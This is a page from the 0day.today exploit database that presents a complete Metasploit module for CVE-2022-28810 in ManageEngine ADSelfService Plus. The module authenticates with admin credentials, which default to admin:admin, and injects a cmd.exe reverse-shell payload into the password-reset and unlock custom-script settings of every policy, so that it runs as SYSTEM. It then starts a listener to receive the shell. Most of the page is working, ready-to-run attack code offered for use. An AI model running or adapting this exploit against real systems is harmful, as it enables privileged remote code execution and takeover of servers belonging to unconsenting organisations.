0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
ManageEngine ADSelfService Plus Custom Script Execution Exploit
Author
Risk
[
Security Risk High
]0day-ID
Category
Date add
CVE
Platform
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, 'Name' => 'ManageEngine ADSelfService Plus Custom Script Execution', 'Description' => %q{ This module exploits the "custom script" feature of ADSelfService Plus. The feature was removed in build 6122 as part of the patch for CVE-2022-28810. For purposes of this module, a "custom script" is arbitrary operating system command execution. This module uses an attacker provided "admin" account to insert the malicious payload into the custom script fields. When a user resets their password or unlocks their account, the payload in the custom script will be executed. The payload will be executed as SYSTEM if ADSelfService Plus is installed as a service, which we believe is the normal operational behavior. This is a passive module because user interaction is required to trigger the payload. This module also does not automatically remove the malicious code from the remote target. Use the "TARGET_RESET" operation to remove the malicious custom script when you are done. ADSelfService Plus uses default credentials of "admin":"admin" }, 'Author' => [ # Discovered and exploited by unknown threat actors 'Jake Baines', # Analysis, CVE credit, and Metasploit module 'Hernan Diaz', # Analysis and CVE credit 'Andrew Iwamaye', # Analysis and CVE credit 'Dan Kelley' # Analysis and CVE credit ], 'References' => [ ['CVE', '2022-28810'], ['URL', 'https://www.manageengine.com/products/self-service-password/kb/cve-2022-28810.html'], ['URL', 'https://www.rapid7.com/blog/post/2022/04/14/cve-2022-28810-manageengine-adselfservice-plus-authenticated-command-execution-fixed/'] ], 'DisclosureDate' => '2022-04-09', 'License' => MSF_LICENSE, 'Platform' => 'win', 'Arch' => ARCH_CMD, 'Privileged' => true, # false if ADSelfService Plus is not run as a service 'Stance' => Msf::Exploit::Stance::Passive, 'Targets' => [ [ 'Windows Command', { 'Arch' => ARCH_CMD, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/jjs_reverse_tcp' } } ], ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'RPORT' => 8888, 'DisablePayloadHandler' => true, 'JJS_PATH' => '..\\jre\\bin\\jjs.exe' }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } ) ) register_options([ OptString.new('TARGETURI', [true, 'Path traversal for auth bypass', '/']), OptString.new('USERNAME', [true, 'The administrator username', 'admin']), OptString.new('PASSWORD', [true, 'The administrator user\'s password', 'admin']), OptBool.new('TARGET_RESET', [true, 'On the target, disables custom scripts and clears custom script field', false]) ]) end ## # Because this is an authenticated vulnerability, we will rely on a version string # for the check function. We can extract the version (or build) from selfservice/index.html. ## def check res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/selfservice/index.html')) unless res return CheckCode::Unknown('The target failed to respond to check.') end unless res.code == 200 return CheckCode::Safe('Failed to retrieve /selfservice/index.html') end ver = res.body[/\.css\?buildNo=(?<build_id>[0-9]+)/, :build_id] if ver.nil? return CheckCode::Safe('Could not extract a version number') end if Rex::Version.new(ver) < Rex::Version.new('6122') return CheckCode::Appears("This determination is based on the version string: #{ver}.") end CheckCode::Safe("This determination is based on the version string: #{ver}.") end ## # Authenticate with the remote target. Login requires four steps: # # 1. Grab a CSRF token # 2. Post credentials to /ServletAPI/accounts/login # 3. Post credentials to /j_security_check # 4. Grab another CSRF token for authenticated requests # # @return a new CSRF token to use with authenticated requests ## def authenticate # grab a CSRF token from the index res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/authorization.do') }) fail_with(Failure::Unreachable, 'The target did not respond') unless res fail_with(Failure::UnexpectedReply, 'Failed to grab a CSRF token') if res.get_cookies_parsed.empty? || res.get_cookies_parsed['HttpOnly, adscsrf'].empty? csrf_tok = res.get_cookies_parsed['HttpOnly, adscsrf'].to_s[/HttpOnly, adscsrf=(?<token>[0-9a-f-]+); path=/, :token] fail_with(Failure::UnexpectedReply, 'Failed to grab a CSRF token') unless csrf_tok # send the first login request to get the ssp token res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/ServletAPI/accounts/login'), 'keep_cookies' => true, 'vars_post' => { 'loginName' => datastore['USERNAME'], 'domainName' => 'ADSelfService Plus Authentication', 'j_username' => datastore['USERNAME'], 'j_password' => datastore['PASSWORD'], 'AUTHRULE_NAME' => 'ADAuthenticator', 'adscsrf' => csrf_tok } }) fail_with(Failure::NoAccess, 'Log in attempt failed') unless res.code == 200 # send the second login request to get the sso token res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/j_security_check'), 'keep_cookies' => true, 'vars_post' => { 'loginName' => datastore['USERNAME'], 'domainName' => 'ADSelfService Plus Authentication', 'j_username' => datastore['USERNAME'], 'j_password' => datastore['PASSWORD'], 'AUTHRULE_NAME' => 'ADAuthenticator', 'adscsrf' => csrf_tok } }) fail_with(Failure::NoAccess, 'Log in attempt failed') unless res.code == 302 # revisit authorization.do to complete authentication res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/authorization.do'), 'keep_cookies' => true }) fail_with(Failure::NoAccess, 'Log in attempt failed') unless res.code == 200 fail_with(Failure::UnexpectedReply, 'Failed to grab a CSRF token') if res.get_cookies_parsed.empty? || res.get_cookies_parsed['adscsrf'].empty? csrf_tok = res.get_cookies_parsed['adscsrf'].to_s[/adscsrf=(?<token>[0-9a-f-]+);/, :token] fail_with(Failure::UnexpectedReply, 'Failed to grab a CSRF token') unless csrf_tok print_good('Authentication successful') csrf_tok end ## # Triggering the payload requires user interaction. Using the default payload # handler will cause this module to exit after planting the payload, so the # module will spawn it's own handler so that it doesn't exit until a shell # has been received/handled. Note that this module is passive so it should # just be chilling quietly in the background. # # This code is largely copy/paste from windows/local/persistence.rb ## def create_multihandler(lhost, lport, payload_name) pay = framework.payloads.create(payload_name) pay.datastore['LHOST'] = lhost pay.datastore['LPORT'] = lport print_status('Starting exploit/multi/handler') # Set options for module mh = framework.exploits.create('multi/handler') mh.share_datastore(pay.datastore) mh.datastore['PAYLOAD'] = payload_name mh.datastore['EXITFUNC'] = 'thread' mh.datastore['ExitOnSession'] = true # Validate module options mh.options.validate(mh.datastore) # Execute showing output mh.exploit_simple( 'Payload' => mh.datastore['PAYLOAD'], 'LocalInput' => user_input, 'LocalOutput' => user_output, 'RunAsJob' => true ) # Check to make sure that the handler is actually valid # If another process has the port open, then the handler will fail # but it takes a few seconds to do so. The module needs to give # the handler time to fail or the resulting connections from the # target could end up on on a different handler with the wrong payload # or dropped entirely. Rex.sleep(5) return nil if framework.jobs[mh.job_id.to_s].nil? return mh.job_id.to_s end # The json policy blob that ADSSP provides us is not accepted by ADSSP # if we try to POST it back. Specifically, ADSP is very unhappy about all # the booleans using "true" or "false" instead of "1" or "0" *except* for # HIDE_CAPTCHA_RPUA which has to remain a boolean. Sounds unbelievable, but # here we are. def fix_adssp_json(json_hash) json_hash.map do |key, value| if value.is_a? Hash [key, fix_adssp_json(value)] elsif value.is_a? Array value = value.map do |array_val| if array_val.is_a? Hash array_val = fix_adssp_json(array_val) end array_val end [key, value] elsif key == 'HIDE_CAPTCHA_RPUA' [key, value] elsif value.is_a? TrueClass [key, 1] elsif value.is_a? FalseClass [key, 0] else [key, value] end end.to_h end def exploit csrf_tok = authenticate # Grab the list of configured policies policy_list_uri = normalize_uri(target_uri.path, '/ServletAPI/configuration/policyConfig/getPolicyConfigDetails') print_status("Requesting policy list from #{policy_list_uri}") res = send_request_cgi({ 'method' => 'GET', 'uri' => policy_list_uri }) fail_with(Failure::UnexpectedReply, 'Log in attempt failed') unless res.code == 200 policy_json = res.get_json_document fail_with(Failure::UnexpectedReply, "The target didn't return a JSON body") if policy_json.nil? policy_details_json = policy_json['POLICY_DETAILS'] fail_with(Failure::UnexpectedReply, "The target didn't have any configured policies") if policy_details_json.nil? # There can be multiple policies. This logic will loop over each one, grab the configuration # details, update the configuration to include our payload, and then POST it back. policy_details_json.each do |policy_entry| policy_id = policy_entry['POLICY_ID'] policy_name = policy_entry['POLICY_NAME'] fail_with(Failure::UnexpectedReply, 'Policy details missing name or id') if policy_id.nil? || policy_name.nil? print_status("Requesting policy details for #{policy_name}") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/ServletAPI/configuration/policyConfig/getAPCDetails'), 'vars_get' => { 'POLICY_ID' => policy_id } }) fail_with(Failure::UnexpectedReply, 'Acquiring specific policy details failed') unless res.code == 200 # load the JSON and insert (or remove) our payload specific_policy_json = res.get_json_document fail_with(Failure::UnexpectedReply, "The target didn't return a JSON body") if specific_policy_json.nil? fail_with(Failure::UnexpectedReply, "The target didn't contain the expected JSON") if specific_policy_json['SCRIPT_COMMAND_RESET'].nil? new_payload = "cmd.exe /c #{payload.encoded}" if datastore['TARGET_RESET'] print_status('Disabling custom script functionality') specific_policy_json['IS_CUSTOM_SCRIPT_ENABLED_RESET'] = '0' specific_policy_json['SCRIPT_COMMAND_RESET'] = '' specific_policy_json['IS_CUSTOM_SCRIPT_ENABLED_UNLOCK'] = '0' specific_policy_json['SCRIPT_COMMAND_UNLOCK'] = '' else print_status('Enabling custom scripts and inserting the payload') specific_policy_json['IS_CUSTOM_SCRIPT_ENABLED_RESET'] = '1' specific_policy_json['SCRIPT_COMMAND_RESET'] = new_payload specific_policy_json['IS_CUSTOM_SCRIPT_ENABLED_UNLOCK'] = '1' specific_policy_json['SCRIPT_COMMAND_UNLOCK'] = new_payload end # fix up the ADSSP provided json so ADSSP will accept it o.O updated_policy = fix_adssp_json(specific_policy_json).to_json policy_update_uri = normalize_uri(target_uri.path, '/ServletAPI/configuration/policyConfig/setAPCDetails') print_status("Posting updated policy configuration to #{policy_update_uri}") res = send_request_cgi({ 'method' => 'POST', 'uri' => policy_update_uri, 'vars_post' => { 'APC_SETTINGS_DETAILS' => updated_policy, 'POLICY_NAME' => policy_name, 'adscsrf' => csrf_tok } }) fail_with(Failure::UnexpectedReply, 'Policy update request failed') unless res.code == 200 # spawn our own payload handler? if !datastore['TARGET_RESET'] && datastore['DisablePayloadHandler'] listener_job_id = create_multihandler(datastore['LHOST'], datastore['LPORT'], datastore['PAYLOAD']) if listener_job_id.blank? print_error("Failed to start exploit/multi/handler on #{datastore['LPORT']}, it may be in use by another process.") end else print_good('Done!') end end end end # 0day.today [2024-11-15] #